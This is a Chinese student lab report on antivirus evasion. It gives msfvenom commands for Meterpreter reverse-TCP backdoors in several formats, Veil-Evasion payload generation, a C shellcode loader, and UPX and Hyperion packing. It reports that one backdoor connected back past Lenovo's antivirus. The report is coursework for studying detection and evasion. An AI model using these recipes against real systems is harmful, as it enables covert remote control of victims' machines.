2019-2020-2 20175335 丹增罗布《网络对抗技术》Exp3 免杀原理与实践
一、实验目标
- 了解恶意软件检测机制。
- 学会使用msf、veil、加壳工具、C+shellcode等方法实现部分免杀。
- 通过组合应用各种技术实现恶意代码免杀。
- 掌握将生成的免杀程序注入目标机,并回连成功。
二、预备知识
免杀概念:一般是对恶意软件做处理,让它不被杀毒软件所检测。
恶意软件检测机制
- 基于特征码的检测。
恶意代码包含这样的数据
正常程序不包含这样的数据
AV软件厂商要做的就是尽量搜集最全的、最新的特征码库
- 启发式恶意软件检测。
根据些片面特征去推断。通常是因为缺乏精确判定依据。
对恶意软件检测来主说,就是如果一个软件在干通常是恶意软件干的事,看起来了像个恶意软件,那我们就把它当成一个恶意软件吧。
典型的行为如连接恶意网站、开放端口、修改系统文件,典型的“外观”如文件本身签名、结构、厂商等信息等。各个厂商会定义自己的检测模式。
- 基于行为的恶意软件检测。
从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。
免杀原理及技术
- 改变特征码。
只有EXE - 加壳:压缩壳 加密壳 有shellcode(像Meterpreter) - 用encode进行编码 - 基于payload重新编译生成可执行文件 有源代码 - 用其他语言进行重写再编译(veil-evasion)
- 改变行为。
通讯方式 - 尽量使用反弹式连接:meterpreter本身即主要使用反弹连接 - 使用隧道技术:如dns2tcp、iodine可将流量封闭为DNS协议包 - 加密通讯数据:如使用reverse-https进行转发 操作模式 - 基于内存操作:meterpreter是基于内存操作的操作的 - 减少对系统的修改 - 加入混淆作用的正常功能代码
三、实验内容
任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil,加壳工具等单一方法实现部分免杀
1.正确使用msf编码器。
在实验二中已经生成了未经编码处理exe类型的后门程序,将其放到VirusTotal或Virscan(网站链接在文末参考资料中)中查看结果,这里由于VirusTotal中的杀软数量远多于Virscan,所以我选择了VirusTotal:
VirusTotal检测结果:
由此可见不加任何处理的后门程序能够被大多数杀软检测到,接下来用msf编码器对后门程序进行一次到多次的编码,并进行检测
-e
用来选择编码器-b
用来去除需要去除的字符,应使'\x00'不出现在shellcode中,因为shellcode以'\x00'为结束符-i
设置迭代次数,这里设置迭代次数为10
生成一次编码的后门程序:
sudo msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=172.16.135.135 LPORT=5335 -f exe > exp3.exe
VirusTotal检测结果:
生成十次编码的后门程序:
sudo msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=172.16.135.135 LPORT=5335 -f exe > encoded10.exe
VirusTotal检测结果:
由此可见经过编码后虽然被检测出的概率下降了,但是大多数杀软还是可以将其检测出来。
2.msfvenom生成如jar之类的其他文件
-
生成jar文件:
sudo msfvenom -p java/meterpreter/reverse_tcp LHOST=172.16.135.135 LPORT=5335 x> 20175335jar.jar
VirusTotal检测结果:
生成jsp文件:
sudo msfvenom -p java/meterpreter/reverse_tcp LHOST=172.16.135.135 LPORT=5335 x> 20175335jsp.jsp
VirusTotal检测结果:
生成php文件:
sudo msfvenom -p php/meterpreter/reverse_tcp LHOST=172.16.135.135 LPORT=5335 x> 20175335php.php
VirusTotal检测结果:
生成apk文件:
sudo msfvenom -p android/meterpreter/reverse_tcp LHOST=172.16.135.135 LPORT=5335 x> 20175335apk.apk
VirusTotal检测结果:
3.使用veil-evasion生成后门程序及检测
使用 sudo apt-get install veil-evasion 进行veil的安装。(下载过程比较慢!)
依次出现如下界面为正常:
安装autoit:
veil安装完成:
用use evasion
命令进入Evil-Evasion。
输入命令
use c/meterpreter/rev_tcp.py
进入配置界面。
设置反弹连接IP,命令为:set LHOST 172.16.135.149
,注意此处的IP是虚拟机Kali的IP
设置端口,命令为:set LPORT 5335
options
输入generate
生成文件,接着输入你想要playload的名字:veil_c_5335
如上图所示,保存路径为/var/lib/veil/output/compiled/veil_c_5355.exe
用virustotal检测结果如下,检出率较高:
4.使用C+shellcode编程生成后门程序
使用如下指令生成shellcode:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.16.135.149 LPORT=5335 -f c > 35callshellcode.c
然后打开callshellcode.c,添加代码如下:
int main() { int (*func)() = (int(*)())buf; func(); }
然后使用 i686-w64-mingw32-g++ 35callshellcode.c -o 175335_backdoor.exe 将c文件变成一个可执行程序。
用virustotal检测结果如下,检出率较高:
5.加壳工具
加壳是对相应的资源进行压缩,压缩后仍可运行。
加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析,以达到保护壳内原始程序以及软件不被外部程序破坏,保证原始程序正常运行。
它可以用来保护版权,但同时许多病毒也利用它来作为原理。
使用命令upx 20175335.exe -o 20175335pro.exe加壳。
用virustotal检测结果(结果好了一点):
6.其他方法
采用Veil-Evasion的其他荷载生成后门方式
进入evasion,使用list查看可用的有效荷载:
打开veil,输入use evasion
,输入list
查看payload列表,输入use 16
尝试第16项go/meterpreter/rev_tcp
设置本地IP地址、本地端口号后生成:
可执行程序的保存地址:
将可执行文件上传到virustotal中看看效果:
任务二:通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图。)
- 嵌入式Shellcode
- 手动实现Shellcode的加载工作,只生成shellcode,而不是完整的可执行文件,这一个简单的步骤,就可以降低VirusTotal的命中率
- 使用msf生成一段shellcode
- 再将其写入shellcode中
- 结合压缩壳达到了初步免杀的目的
- 获取主机shell
使用的组合为半手工制成shellcode生成的可执行程序用upx压缩再用hpyerion加密,得到的后门
步骤与5加壳步骤类似如下:
利用6生成的可执行程序,先压缩:
但是最后效果还是那样,没有实现免杀。
压缩后检出率:
加密后检出率:
任务三:用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
- (使用win10主机,联想电脑管家杀软版本:2.8.100)
- 使用上一个部分采用Veil-Evasion生成的Python下shellcode在DES下加密文件已经可以通过杀软检查,所以这步中我使用了Python下shellcode使用DES加密的载荷+加密壳生成的文件:
用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
电脑环境:win10主机
杀毒引擎:联想电脑管家
杀软版本:2.8.100
四、实验中遇到的问题
本次实验遇到麻烦相比以前的实验较为麻烦(主要是下载实验慢veil(超级慢))
问题一、generate
失败
解决办法:使用命令cd /usr/share/veil/config/
进入该文件夹,使用ls
查看该文件夹的内容,然后使用命令vim setup.sh
编辑文件,第251行把github仓库改成码云的仓库,https://gitee.com/spears/VeilDependencies.git
修改完记得重启kali!
问题二、就是再次出现乱码问题
解决办法:查看往期kali安装博客!
五、实验感想
杀毒软件不是万能的,很多其他方面的防护还需要我们提高警惕,不访问不安全的网站,下载软件从官网下载,不下载来路不明的软件,这样才能减少我们在平时的学习和生活中使用的计算机遇到恶意代码的概率。这次实验有一定的难度,但如果不做到最后免杀成功,其实只有繁琐。只是各种方式然后组合构造后门,然后看这个后门程序的检出率。但是想要做出真正能够实现免杀的后门程序还是挺难得。总的来说还是学会了一点东西,能够基本的使用veil的构造后门程序,能够用msf生成各种类型的后门以及shellcode,学会了使用压缩壳加密壳,还是有所收获的。